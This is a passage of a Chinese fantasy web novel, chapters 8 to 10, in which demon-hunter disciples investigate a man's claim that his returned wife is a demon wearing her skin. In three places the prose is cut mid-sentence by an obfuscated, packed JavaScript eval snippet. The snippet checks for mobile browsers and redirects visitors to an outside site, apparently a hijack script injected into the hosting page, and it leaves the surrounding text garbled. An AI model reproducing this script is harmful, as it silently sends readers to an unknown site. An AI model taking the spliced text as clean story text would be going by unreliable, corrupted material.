他将手上的血擦掉后快步上前,继续跟在闻了身侧,但这次乖巧无言,没有再多说一个字。 五人小分队在风雪中前进明显不够快,行了大半天路才终于跨出朝阳谷所处境内的山脉,越过换天池。按照这个行程,等他们穿过南靖往上到达昆仑虚,再加上这个过程中还要收集魂核碎片,一个月的时间的确很紧张。 难怪师父催促着今日就得启程。 从朝阳谷出来,穿过一片荒山废墟,最先抵达的便是卫国。 如今现存的七大国中,南靖、青云、楚、周饶四大国四足鼎立,卫国只是个附着在南靖国边界处的小国,地少,资源也有限,只不过恰好它紧挨着换天池,许多修士名流为了一睹换天池的风光经常前来,以此也拉动了卫国的商贩经营。 如今刚到正月初,换天池依旧清澈见底,没有受到天气的影响而结冰冻住,算得上是这冬日里一道奇观。 所以闻了一行人抵达卫国时,城里熙熙攘攘,抬眼望去黑压压的一片,全是慕名而来的外地游客。他们寻觅许久,才终于找到一家有空位的小饭馆,落座歇息。 小厮将热气腾腾的饭菜端上来,动作麻利,脸上洋溢着招牌笑容,看得人心里暖暖的。 “这是本店最受欢迎的烤乳猪,今日刚好赶上换天日,作价减二!” 香喷喷的烤乳猪放在了夏听雪面前,她好奇道:“换天日是什么?” 倒是小厮一愣,有些意外:“几位不是奔着换天日来的?这可是换天池一年一次的好风光啊!每到现在这个时候,换天池边的悬崖会悬挂金色瀑布,还有许多锦鲤仙跃起。传说只要向换天池内投掷一枚铜板,见到锦鲤仙时许愿就能得偿所愿。即便没见到,走上这么一遭回去后也会觉得神清气爽,精神百倍,身上那些小毛病都没了——” 难怪他们从换天池附近经过时瞧见乌泱泱的人群往那边去。 听起来是个故弄玄虚的噱头而已。想来多半是卫国人为了吸引游客造出来的假奇观。 换天池经久不衰,既不会干涸也不会冰冻,冬日还会有悬空瀑布,鲤鱼畅游,在常人看来的确神奇。但对于朝阳谷众人而言,不过尔尔。 “什么锦鲤仙,分明就是妖怪在作祟!”一阵沉闷的铃声相撞,一行穿着特别的少男少女走进来,听见了小厮的话,出言反驳。 闻了被铃声吸引,先寻着声音的出处,一眼便看见他们的腰间悬挂着一串相似的铃铛。 均是五枚镶嵌绿松石的铁铃铛,大概每个有小拇指左右的大小,看上去精致小巧。每个铃铛正面还镌刻了一个“卫”字。 “他们戴的铃铛是什么?”闻了看了看其他桌的客人,也瞧见了有些人佩戴类似的铃铛,不过样式不同,数量也不同。 有的只有一枚素面黄铜铃,而有的则是三枚串联在一起的云纹青铜铃。 小厮笑道:“那可是五铃卫,可厉害呢。” 小厮是个普通人,只知道铃铛表示的最直观意思,但不知道其中深意。 那四个人落座在他们旁边,投来打量的目光,其中一位露出疑惑的神色:“我看诸位也是有灵境的捉妖师,怎么会不知道这铃铛?而且——”他的目光看向坐在最外面的闻人心腰间,那里只有一枚普通的玉佩挂饰。 “我们是在山里苦修的捉妖师,第一次下山,敢问这铃铛究竟有何妙用?”闻人心得体地回应着。 方才搭话那位了然地点点头,伸手指向门外:“只因普通百姓无法分辨灵境高低,所以便用这铃铛作为灵境等 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15464359|169795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 级的辨识物。黄级都是佩戴一枚,乃一铃生。地级中下两级皆是三枚青铜铃,唤为三铃卒。我们几位都是玄级下境,旁人称呼为五铃卫。” 据他所说,往上最多便只有七铃将和九铃圣,也都是根据灵境划分的。简而言之,铃铛越多,灵境越高,悬挂在腰间,寻常百姓一眼便知道捉妖师的身份和等级。 “如今妖物作祟,捉妖师以捉妖为生,可凭自己的实力混口饭吃。所以各国都设立了镇妖司,统一管理捉妖师考核评级,发放相对应的铃铛。我们是卫国人,也在卫国镇妖司考评,所以铃铛上会刻有卫国的国名。” 顺着他手指的方向看去,外头街道两边的摊贩中也有人佩戴了铃铛,仔细一看,他的摊位处高挂着的旗子上写着“三阶小妖,手到擒来;十两银子,童叟无欺。” “诸位若是想挣点钱可以去镇妖司考核后领到铃铛,一般百姓有需要就会找上来。想赚得多,还可以去镇妖司门口的布告栏看看,上面有些赏金通告,价格比这样摆摊揽客要多,当然,也要更危险些。” 如今这世道变化的确很大。 闻了抿了口茶,微微苦。 难喝。 她在心里打上评语便放下茶杯,还顺带将它推远了些。 “考核很难吗?” 说话的那人看向她,似是刚注意到还有一位戴着面纱的姑娘:“不难,都是根据你的灵境设定的。是什么等级便会被评定为什么。像姑娘这样,只要去完成以后便能拿到一个铃铛。” 啧。 怎么外面的人总喜欢一声不吭地窥探别人的灵境。 闻了收回目光,继续吃菜。 难怪这人愿意费这么多口舌,想来说话前就已经把他们几个人的灵境查探清楚,知道他们中间最高的也就只有刚刚突破的地级上境而已,都在这五铃卫之下,构不成威胁。 “多谢道友解惑。”大师兄挂着憨厚的笑容,以茶代酒表示谢意,转过来询问大家的意见。 “那我们要不要去考?” 在这外面行事似乎配上一个表明身份的通行证才像样。否则很容易被打成“异类”。而且有了铃铛,不仅能彰显他们捉妖师的身份,还能赚点银子花。 夏听雪白眼,不耐烦道:“师父给的盘缠足够我们用了。再说了,最多两三个月我们就回朝阳谷了,搞个铃铛有什么用。” 大师兄噤声,没有再提。 在夏听雪面前,他总是唯唯诺诺,永远不会反驳她的任何话。 用完膳后,五人收拾好东西准备去找个客栈歇脚。他们听了饭店掌柜的建议,准备避开人流往偏远一点的地方住。 闻了看着手腕上的魂核碎片:“没有动静,应该是没在这附近。” 临行前温芙将这块碎片嵌入手环中,方便闻了携带,随时能查探到其他魂核的下落。手环上施加了禁令也不会掉落和被他人抢夺走,的确要安心不少。 闻人心看了看地图。 卫国有一片魂核。 所以他们得在这里呆几天,找找魂核的下落。 出了饭馆沿着热闹的长街走了一段,身后有个人大步跑来,追上了他们。 对方只是个凡人。 众人放下警惕,打量这个将他们叫停的男子。 “各位、各位请留步。”他气喘吁吁,容貌虽然普通,但身材精壮又个子高,披着一身大氅,也被衬得清秀几分。 “方才在饭馆听说几位是从外地来的捉妖师——”男子面色通红,好像等待许久终于有处发泄,他双手抱拳作揖,言辞恳切,“恳请诸位帮忙,我定会重谢。” 温芙上前一步:“请起。公子是想让我们帮什么忙?” 男子面露难色,唇瓣微启,片刻才吐出几个字,却是让几人惊骇愣神:“求你们帮我,杀了我妻子。” 8. 第 8 章 大雪天,隔壁家的阿婆清扫着路面的积雪,看见抱头遮雪的男子小跑着过来,挥挥手将他喊住:“以恒,你家娘子找我买的鸡,还没给钱呢。” 陆以恒顿住脚步,在身上翻了翻,只找出来几枚铜板:“大娘,你看这些够吗?” “算了算了,我就收下这么多,这天都黑了,你快回去吧!”阿婆也不想继续为难他,摆手让他离开。但显然只是看他囊中羞涩,不好再勉强。 陆以恒三两步跑回自己家,本想敲门,却发现未上门栓。他轻轻推开,没见到院子里有鸡。难道大娘是诓他的?但之前几次娘子也找她买了鸡没付钱,都是他后头补上的。 院子里安安静静的,没有牲畜的叫声,也没听见别的动静。他本想唤娘子,转念一想,娘子许是觉得外头太冷,在里屋睡下了。 思及至此,他轻手轻脚将身上的斗篷取下,抖落雨雪后走进书房将斗篷挂起来。 “砰——” 外头像是有东西被撞倒。 “羽娘?” 没有人回应。 陆以恒心生奇怪。 难道不是娘子发出的动静? 他拢了拢衣领,往外走,那声音消失得也突然,没法准确分辨是从哪来的,他只好先凭着感觉往厨房去。绕了一圈快要走到圈养家畜的笼子旁时,他听见一阵细微的声音。 像是有什么东西在咀嚼? 难不成有老鼠? 羽娘最怕这东西,他得先处理了。 黑夜之中,视线受到阻碍,听觉反而变得更加灵敏。 陆以恒摸来一根细棍子继续往前,耳边留意着那细小的动静,转过拐角时,他正要高举棍棒打下去,眼睛却先一步看清。 他的娘子——不,不对,穿着他娘子衣服的一个东西掰断了鸡头,咀嚼着鸡的血肉,地面流淌着一片血,但“她”丝毫不在意,津津有味地舔舐着断掉的鸡头,连带着肮脏的鸡毛一起吞咽下去。 直到听见他的惊吓声。 “娘子”的脑袋转到了背后,双眼含血地看着他,血从眼眶处涌出来不断往下滴,鲜红的唇瓣也上下蠕动,却听不见“她”在说什么。 陆以恒猛然惊醒时,自己已经躺在床榻上。周遭一切都是完好无损的,同往常一样,毫无异样,没有鸡头,没有怪物,也没有满地的鲜血。 只有仍然惊慌失措的他。 “醒了?昨晚是不是又做梦了。”娘子坐在梳妆台前,透过镜子看向他,“昨夜你一直很害怕地叫,我怎么叫你都没反应。” 又是梦?这已经是他第五次经历这样的梦境了。 陆以恒开始深呼吸,想先让自己平静下来。 前几次他都是梦见不小心撞见羽娘在梳妆,就和现在这样如出一辙。他坐在床上,羽娘对着镜子看他。然后她—— 转了过来。 “怎么了?” 羽娘转过身来,歪歪头,眼神疑惑:“怎么这般无精打采?” 什么都没有。一切都很正常。 可是连续这么多次梦见类似的可怕场景,真的正常吗?陆以恒没有回答她,皱眉思考着。 是从什么时候开始的?对了,是羽娘说去换天池拜锦鲤仙结果一去不回,失踪了三个月后又突然出现开始。 真的都是梦吗?真实到他觉得自己真的经历过,而且也太诡异了。就算是做梦,他为何会平白无故梦到娘子人不人鬼不鬼的样子…… “羽娘。”他抿抿唇,抬眸看她。 “嗯?”羽娘坐姿乖巧,宛若从前那个温柔贤惠的女子,而不是他梦里的怪物。 “过几日是换天日,你之前不是总说想去看看。不如这次我带你去?” “好啊,我还没和你一起去过呢。那我要选一条好看的裙子,这件绿的怎么样——这件呢——” 耳边是娘子甜蜜的声音,却让陆以恒的心沉入谷底。 他暗藏在心里的那个猜测得到了确认。 “她不是我的妻子。” 方才帮忙杀妻的这番荒诞不经的话语让朝阳谷五人组都皱起了眉。听完陆以恒对整个过程与猜想的描述后,几人才明白了事情的缘由。 “我们刚成亲的时候就去过换天池拜锦鲤仙,但是她却不知道。”陆以恒很激动,紧紧抓着手里的茶杯,好在他们正坐在雅间里,外面的人听不见他所讲的故事。 “也许只是忘了?”闻人心眨了眨眼。 “不会的!”陆以恒没忍住站起身用力拍了下桌子,双眼发红地喊道,“羽娘很爱我的,她不会忘记这种事。” 这下轮到闻人心发蒙了,支支吾吾半天不知道该说什么。 “抱歉。”陆以恒先反应过来自己有些失态,轻咳两声,收拾好情绪,重新落座。“我只是……只是怕你们不相信。” 他双手握着茶杯,通红的双眼望着杯中泛起圈圈波纹的茶水,有些哽咽:“我和羽娘是在这家茶楼认识的。那时她是这里的厨娘,烧得一手好菜,有次旁桌故意找茬说,菜里有虫子。羽娘被为难,是我鼓起勇气替她解了围。” 久远的回忆还历历在目,意气风发的男子和温婉贤淑的女子相识于一场英雄救美的桥段,情投意合,在天地的见证下拜堂成亲,还一同在换天日这天去了换天池。 “锦鲤仙,求你保佑我和恒郎百年好合,永不分离。” 铜板投入换天池中,可惜他们并没有见到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15464360|169795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 传闻中会出现的锦鲤仙。 陆以恒并没有放在心上,他本就不信这些,觉得不过是哄骗大家花钱买个心安的说辞。但是羽娘很失落,她一直盼望着能有锦鲤仙实现她的愿望。 不过即便没有见到锦鲤仙,他和羽娘成亲三年,日子过得拮据却又幸福。他在外做些小买卖,羽娘在家里操持,每晚等着他回来用膳。 “三年了,羽娘的肚子一直没有动静。我们去寻过郎中,说是她的身体有恙,难有身孕了。我本想着就我们二人过日子也未尝不可,但羽娘不甘心。”陆以恒垂头叹了声气。 那天是立秋,丽娘同他因为孩子的事吵了一架。 “羽娘执意要去拜锦鲤仙,说只要许愿被锦鲤仙听见,她一定可以有喜的。可我觉得那东西邪乎得很,不愿意她去。” 争执一番,谁也没说服谁。他一早去城外办事,回来的时候再没见到羽娘的身影。 “我去换天池那边也找了,但怎么都没找到她人。”陆以恒双手捂脸,肩膀微微颤抖。 闻人心刚好坐在他旁边,伸出手迟疑地拍了拍他后背,以示安抚:“所以说,自那以后她就失踪了。整整三个月又突然回来?” 陆以恒点头。 “那天晚上我回家的时候瞧见她站在门外蜷缩着,穿的衣服也是走那天的样子。给我吓坏了。我意思是……这三个月我四处找人都没找到,还以为她出了什么意外,突然出现实在是很奇怪。” “不过人回来,也没出什么事,都是好的。” 他仍记得,羽娘回来的前两天整个人都是懵懵懂懂的样子,好像被吓坏了。他问什么都答不上来,既不知道那三个月她到底去了哪里,也不知道她是怎么回来的。 “直到第三天,她才恢复了原来的样子,有说有笑的,还做好了饭菜等我回来。她不愿意提及之前发生的事情,我想着只要人回来了就好,其他的我也不在乎。所以这些日子没再过问。” 但不对劲的事就开始了。 一次接着一次的噩梦让他有些错乱。 “第一次醒来的时候,羽娘说我做噩梦了。我还以为是我那些日子思虑过度才会做这样的梦。但频繁几次下来,我觉得是在是蹊跷。”陆以恒将几次噩梦里的场景描述出来,仍觉得后怕。 梦里的画面和感受真实得他回想起来就脊背发凉。 “我觉得……我的妻子不是我的妻子。也许是……” 陆以恒觉得自己的话听起来好像有些古怪。 但他的的确确这样觉得。 虽然是一样的脸,一样的声音,从外表看那就是他的妻子没错,可他觉得更像是批了他妻子一身人皮的—— “妖怪。” 9. 第 9 章 已过晌午,但因天气不好,乌云压低使得头顶上一片阴霾,也压得人心情沉闷,空气的潮热似乎也在预告着下一刻会有一场倾盆大雨莅临。 住在十里乡最热闹长街那片中最靠里的阿婆正坐在家门外,裹着一身厚重棉衣,摘着篮子里的豆角,时不时偏头望着不远处那户人家的大门。 那是与她紧挨着快四年的邻居家。 在她的印象里,那家的小两口是三年前搬到这里来的。小夫妻看着年轻,丈夫容貌看上去是个清秀书生样,但个子高,也强壮,在城外做工来养家糊口。妻子据说之前一直在城里最热闹的酒楼里做厨娘,后来酒楼倒闭变成了茶楼,她便一直待在家中,料理家务事。 小娘子是个美人胚子,性子又温和客气,与人说话时总是细声细气的,被人欺负了也不还嘴。在邻里看来,若非有丈夫护着,她定是会受到很多欺负的。幸好得这么好的丈夫庇佑,小娘子整日待在这一方小院中,过得安宁顺遂,唯一遗憾的是一直没有孩子。 阿婆的思绪越陷越深。 忽而又想起那位小娘子消失几个月回来后像是有些变了。 变得…… “我想要鸡。” 身侧传来幽幽的女声吓得阿婆回神过来,一口气差点哽在胸腔处,上下都不是,捶胸一会儿才使得那股气消下去。 她嗔怪道:“羽娘子,你说话前能不能先吱个声啊!” 大抵是因为被吓了一遭,再加上已经有好几次被她买鸡赊账,阿婆心里有些烦躁,摸了摸荷包,伸出手来:“买鸡得给钱啊,羽娘子,上次的账还是你丈夫给的,我亏了好几个铜板,也不求你们补上了。但以后你得先给钱再说!” 手掌心除了有老妇人常年干活留下的痕迹外,还有几枚铜板,是那天陆公子补上的欠账。 岂料瞧见这几枚铜板,原本面无表情的羽娘突然大惊失色,往后连退几步,目光颤抖,死死地盯着铜板,然后双手捂着耳朵,尖叫着跑回了自家院子里,徒留阿婆在原地一头雾水,还被她这遭遇洪水猛兽般的反应给吓到。 老妇人接连被吓两次,紧靠着椅背,喘气许久才缓过来,嘴里骂骂咧咧,愤愤地收拾好豆角回了里屋。 没一会儿又听见外头传来熟悉的声音。 阿婆不太高兴地走出来,迎面撞上陆以恒的笑脸,原先堆积的不满情绪在看到他手中的铜板时消散了不少。 “上次我娘子买的鸡还没把钱全部补上,真是给您添麻烦了。”他微微弯腰,表情真挚,深得人心。 “还是你做事周到。阿恒啊——”阿婆收下铜板,苦口婆心道,“你要不要带你家娘子去看看郎中?我总觉得……她有些不太正常。” 老妇人本想热心地提出建议,仔细一瞧才发现陆以恒身后还站着两个陌生人,一男一女,都是生面孔:“这两位是?” 男子束起长发,一双眼睛含着笑意,看上去很好亲近,他手里拿着一把扇子,贴着胸口微微扇动,叫她这双昏花的眼睛看不清扇面的纹路。女子刚刚及他肩膀处,长发垂至腰间,两侧耳旁悬挂着发髻,被浅黄色的飘带缠绕,在微风的亲吻中撩动。 阿婆凑近些看,想看清二人的容貌,男子自然是俊秀无比,站在体态高大的陆以恒身边依旧将其给比了下去,只可惜那女子戴着面纱,除了一双漂亮的眼睛便再也窥不见其他。 陆以恒不太自然地介绍道:“这、这位是我远房表弟,那位——” “妻子。”身份被裴知珩抢先认下,“前几日刚刚拜堂成亲,这不回门之日路过此地,想着刚好顺道拜访一下表兄。” 闻了沉默。 方才说好的姐弟身份就这么被他三言两语给替换。 而且原本大家商量好的是由闻了同闻人心二人假扮陆公子的亲戚来留宿,毕竟在众人看来,闻了性子和外表都最容易让人放下戒备,再加上双人成行看上去最合理,也不会太突兀。而剩下几人中论功力和脾性,闻人心都是最佳人选。 因为若是让温芙过来,夏听雪那暴脾气,剩下两个被她嫌弃的师兄弟根本管不住她,容易引出事端。而闻人心虽然功力不算太高,但就算那羽娘子真的是妖,回来这么久也没有对陆以恒下任何杀手,想来短时间内只要不激怒她都会是安全的。 所以综合考量一番,敲定了闻了和闻人心这对师兄妹伪装进入陆家,调查羽娘子的真实身份和陆公子口中所说的这一系列怪事的缘由。 剩下三人则沿着千里乡查探一番,尤其是摸清楚换天池和陆公子这一家的事。 然而计划才刚推进,闻了和闻人心还没走到陆家,裴知珩不知何时追了上来横插一脚,说夏师姐那边出了事,急需大师兄相助,闻人心想都没多想,嘱托他一定要保护好闻了便匆匆离开。 闻了心里很清楚,哪里有什么事,不过是裴知珩这小子抓住了大师兄的命门,知道只要提一句有关夏听雪的事情就会引起他方寸大乱。 夏听雪就像控制大师兄喜怒哀乐的开关。 这是朝阳谷弟子们都知道的秘密,连裴知珩这个入门三个月的新人也早就看透。 也被他轻而易举利用。 “你表弟跟你长得一样好看。”阿婆用慈爱的目光打量了一会儿。 关乎身份的话既然已经泼了出去就也再收不回了,闻了也没有打算再辩驳什么。他们来的目的不是纠结裴知珩那点为人所知的小心思。不过是满足了他所谓的爱慕之情,占了点身份关系上的小便宜,但对闻了来说毫无损失,完全不需要在意。 “阿婆刚刚说表嫂不太正常?” 裴知珩闻言看向她。 少女似乎完全没有在意方才他提起的两个字,而是双眼充满疑惑和好奇,询问着阿婆。 阿婆愣了一会儿。刚才想说的话被岔开后已经被抛在脑后了,又被小姑娘的疑问给捡了回来,还需要些时间来挑拣分辨。 好在闻了循循善诱,充满耐心,替她梳理清楚:“我记得以前见过表嫂,是个温柔的女子,是出了什么事嘛?” “哎呀,以前是挺好的,这不是后来得了——” 阿婆的话还没说完,陆以恒猛烈地咳嗽了好几声,打断了她:“时候不早了,我先带他们回去用膳了,外面冷,阿婆快进里屋取暖才是。” “好好好,你们快回去罢。”阿婆也没察觉什么,笑呵呵地转身。 等她关上大门后,陆以恒才低声叹了口气:“羽娘之前患上了痨病,但我不想外人知道这些,怕让她听到旁人议论而难过。”他连连唉声,一副心事重重的样子,随后走在最前面带路,而裴知珩则侧身等着闻了。 她还在注视着阿婆家的大门,清瘦的身影直立在那,肩头落雪而不自知。 一把折扇贴近她的肩膀处,轻轻将雪扫落。 清冷的男声随之而来,停留在她耳畔,如千丝反复勾回:“小师姐,还不走吗?在想什么?” 裴知珩也微微弯腰,顺着闻了的视线看过去,落在和她目光一样的地方,但没看出什么名堂。 闻了感觉到自己被男子半包围,有些别扭地往另一边迈了一步,脱离出充满他气息的圈禁,不适感顿时消失干净。 “我在想,我们两个黄级若是跟妖怪打起来该怎么求饶。” 听上去好像真的只是在为后路而担忧,但裴知珩却听出来几分责备的意味,似乎意有所指他半道插进来,挤走了大师兄,落得现在的下风,容易被妖怪牵制。 “小师姐就这么不信任我?”他手腕一动,展开折扇,遮面轻笑一声,清冽的嗓音里是少年傲气,“我说过会保护小师姐的。君子一言,说话算话。” 他一边摇着扇子,一边脚步轻松地追上陆以恒。 那副样子完全看不出来成熟稳重。就像个只会说些大话,嘴上抹蜜,但实则既无头脑,四肢也不发达的草包少爷。 只盼他能保护好他自己就行。 闻了无奈摇头,慢步跟了上去。 陆家的小木屋离得很近,拐个弯绕进巷子走几步便到了。 屋子虽然不大,但也有着一个小院子和用来圈养家畜的后院,听陆以恒说这是他和羽娘成亲前用前半生积蓄凑在一起买下的,为的就是日后能过得舒坦,不用操心没有落脚之地,在外漂泊无定。 有一个稳定的住所总好过当随风而动的蒲公英,心也安定些。 闻了一向觉得如此。 三人推门走进了院子,闻到一阵香味。 “羽娘?”陆以恒有些诧异,自从羽娘失踪多月回来后,她几乎没有再下过厨,每次走进厨房也只是愣神地看着锅碗瓢盆,好像全然忘了该怎么做饭。 厨房里传来水流声,羽娘走出来时,双手正往围裙上擦拭,她长发随意地盘起,只用一支素净的木簪固定住,碎发凌乱地在脸颊两侧因风而动。她的鼻尖沾了一点煤灰,笑容绽开,那一双明亮的眼睛看着三人,从惊喜转而惊讶。 “这两位是我远方表亲——”陆以恒搬出提前准备好的说辞,一本正经地解释道。 “陆知珩见过表嫂。这位是我妻子闻了了,初次拜访没带什么东西真是惭愧。”裴知珩拱手做礼,反应极快地给自己改了姓,还给闻了加了个名。 羽娘的确如他们口中所说,眉眼生得漂亮动人,就是身形消瘦,像是生过一场大病,整个人散发着一股病气。若将她和温芙相比,两人的气质十分相似,只是前者眉目之间蕴含着病人特有的那丝哀愁之色。 “你们好……”羽娘愣了一会儿,但似乎并没有过于吃惊外人的到来,很快就整理好情绪,莞尔道,“还好我饭菜准备得多,既然是恒郎的家里人留下来便是,不用客气。” 她说完便转身进去继续忙活。 “我来帮嫂嫂打下手。”闻了反应很快,提着裙摆走进去。 羽娘似乎看她是个同自己一样瘦弱的女子,本想回绝,却见对方一进来便已经上手开始洗菜。她便欲言又止,也开始做自己的事。 “表嫂和表哥在一起这么久了,感情依旧很好呢。你们以前吵过架吗?”闻了一边洗菜,一边问道。 但迎接她的只有切菜的声音和女子的沉默。 “那表哥之前有带表嫂去别的地方游玩过吗?” 依旧没有任何搭理。 羽娘像是听不见她的提问一样,只专注着做自己手里的事,连一个眼神都不曾投来。的确不像个正常人。但闻了也没感觉到她身上有妖气。 要么是她的确不是妖,要么就是她的妖气不是黄级捉妖师能够感知得到的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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一席吃完,羽娘全程只对着陆以恒嘘寒问暖,好像眼里根本没有另外两人的存在,而闻了自知得不到她的回应后也就不再主动说话。只有她身旁的裴知珩,像是没把羽娘对他们的冷漠放在心上,时不时给闻了夹菜,倒真的像是恩爱夫妻相处一般。 的确如闻了所料,陆以恒有些抓狂。 原先他无比笃定妻子不再是妻子,而是被妖怪占了身子,又或者妖怪杀了他妻子变作她的模样。但今天拿一桌饭的味道,让他又开始怀疑自己。 “羽娘……好像真的就是羽娘。可是明明之前——我也不知道,我做的那些梦难道真的是梦?”陆以恒看上去已经在崩溃边缘。 他很怕捉妖师们不相信自己,怕自己还要继续活在那些噩梦的阴影之下。但现在连他自己也说不清事实到底是什么样的了。 家里真的有妖怪吗? 他不敢予以肯定的回答。 闻了安抚道:“陆公子先回去好生歇息。今夜过去,是梦还是真实说不定会有个答案的。” 因着闻了二人是以夫妻的名义住下,所以陆以恒只为他们收拾出来一间干净的厢房。 两人一进去便看见桌上有摆放好的茶水,床铺也都整理得干净整洁。烛火跳动几下,映照着闻了晦暗不明的眼眸。 “没有妖气,也没有血腥味。小师姐觉得,这里有妖吗?”裴知珩握着扇柄,一轻一重地点着桌面,响声此起彼伏的节奏让闻了的心绪有些烦躁。 但她很好地控制下来,垂眸看着茶水。 “不知道。” 事实上对她来说,根本不重要。原以为这样诡异的事情发生地也许会有魂核碎片的动静,若非如此,闻了完全不想前来走一遭的。 陆以恒没有钱,即便帮他捉到了妖,他也拿不出多么丰厚的奖赏。顶多获得些无足轻重的感激之词。而且那羽娘子的表现实在是奇异,不像是一般的小妖……若是她怀疑的这样,他们五个人的实力也许还需要斟酌一下要不要趟这浑水。 只可惜这四个人里有两个是出了名的好心肠,一个虽然不心软脾气暴,但面对这种行侠仗义,捉妖杀妖的事情一概是冲在最前面的。还有一个,是没有什么主见,别人说什么便屁颠屁颠跟上去了。 准确地来说,是她说什么就是什么。 没有一个省心的。 闻了抬眸看向对面也正在喝茶的人。 她得想想若是真的遇上危险,该怎么办?温芙必须得活着,至于其他人—— 闻了眉头一皱,到唇边的茶杯被她拿远了些,但眼前的人早已喝下一口茶,还在原地细细品味着。 然后不出意料地,裴知珩一头栽倒,晕了过去。 茶里下了药。 蠢货。这么低级的迷药竟然都察觉不出来。 外头传来一点动静。 闻了起身,正想绕过晕倒的裴知珩藏在门后观察外面的情况,却在经过他时,被一双手握住了手腕。 他仍然是闭着眼。 但嘴唇一动,将茶水吐了出来。 闻了看见他勾唇,微微睁眼,眸中在微弱的烛火之下闪动着意味不明的光亮,宛如豺狼隐藏在黑夜里,探究着猎物的眼神: “小师姐,这次怎么不将计就计了?” 10. 第 10 章 灯光昏黄的房间里,一男一女昏倒在桌面上,手边是空空如也的茶杯,它们歪七竖八地躺着,还有些茶水洒落出来,可见两人是突然晕倒的,似乎还未察觉到杯子里有任何东西。 前来查探情况的人重新合上门一步步往后退,渐渐失去了对其脚步声的捕捉。 气息已经消失在能够察觉得到的范围内了。 闻了微微睁眼,小心翼翼地推开门跟着方才听出来的方向而去。裴知珩睁一只眼闭一只眼,还在试探中却发现身旁人已经不见了,才着急忙慌地抓着扇子往前小跑着追上。 深夜的寒风格外刺骨,闻了裹着斗篷,怕自己太过于显眼,不敢跟得太紧。早知道会这个时候出门,她就应该把取暖石也带上。 反观裴知珩,他连一件大氅都没有披,却依旧行动自如,丝毫不受凌冽寒冬中那如冰锥刮骨般的冷风的任何影响。看见她冷得嘴唇发抖时,他忽然伸出手圈住她的手腕,闻了本想挣脱,却感受到一阵发烫。 但在她受冻的此刻,更像是适宜的暖意。 “我体热。”裴知珩紧紧攥着,等到她没有了拒绝的意思,才稍稍放松下来,只是用掌心贴着她冰凉的手背,给予着一点微不足道的暖和。 而不远处那个浅白色的身影也是只着了一件单薄的纱裙,走在风中似乎没有任何感知一般,一路穿过小径,来到一条冰冻的河流边上。同常年不结冰的换天池不同,这只是一条普通的小河,自打入冬以后就结上一层薄薄的冰。 羽娘先是沿着河边挪步走动,后来停留了一会儿,好像在打量着从哪里下手——不,是下脚。 她突然抬起脚,使劲往冰上踩跺,好像要拼尽力气将那一块踩出个窟窿。事实也的确如她所愿,一阵冰碎裂的声音,在闻了诧异的目光中,羽娘坠落进冰窟之中,整个人都沉进冰水,一瞬间没了动静。 这一幕看得旁观的两个人—— 闻了眯起眼。 不对,是三个人。 她看见对面的树丛背后藏着的那个身影。 陆以恒也跟了过来。 此刻他像是被吓坏了,瘫坐在地上,隔了一会儿便见到那抹墨色的衣角消失不见,似乎已经被吓得逃了回去。 她露出困惑的表情。 “怎么了?”裴知珩也看见了那个陆公子,但显然现在河这边的场景更有意思。他没有放在心上。 闻了说不上来。 她总觉得有些时候陆以恒的反应不太——正常。她想不到该用什么词来描述这种感觉。 这些猜想只是细微地在某些时刻滑过,很难抓住。连她自己也拿不准。 “看见妻子坠河会掉头就跑吗?”她小声地将自己的疑惑说出来。 裴知珩低眸看她:“看见妖怪说不定是会的。”他抬抬手腕,扇尖指着河面。 方才坠进河里的羽娘浮了上来,紧接着她又翻了个面继续泡在冰河之中,一浮一沉,这样反反复复很多次,好像她不仅感受不到寒冬之际河水的冰冷刺骨,反而还很享受。 处处都透露着怪异。 陆以恒心中已经笃定娘子是妖怪变的,见到这一幕的确会被吓跑。 似乎也是人之常情。 闻了看着那上下起伏翻动的白色身影,喃喃道:“可是他说他们很恩爱。” 她曾经也见过人与妖相恋,有的人当时知道自己的妻子是妖虽然也十分害怕,但在妻子被别人伤害时却会挺身而出护住旁人眼中的妖物。 也许这些特殊情况并不能相提并论。 也许只是她想多了。 “小师姐觉得那像什么?”裴知珩抬了抬下巴,意指正在冰水里泡着的羽娘。 闻了仔细看着。 羽娘除了平躺在河水中,偶尔翻面外,有时还会双腿并拢,小幅度地摆动着,很像—— “鱼。”她眯起眼。 看来换天池,锦鲤仙,果然跟这事脱不了干系。 到底是仙,还是披着仙皮的妖…… 闻了转身。 “这就走了?”裴知珩压低声音,有些不解。 “难道你我两个黄级还能把它捉拿了不成?”连妖气都感知不到,贸然行动只会给自己酿下祸端。若是只有她自己一个人还好办,偏偏身边还有个黏人的拖油瓶。 她往前走,裴知珩圈着她的手腕也被带着走。 “联系师兄师姐,明日同他们商量。” 裴知珩倒是也听话,乖乖地跟着她回了陆家。 这一觉睡得不太安稳。 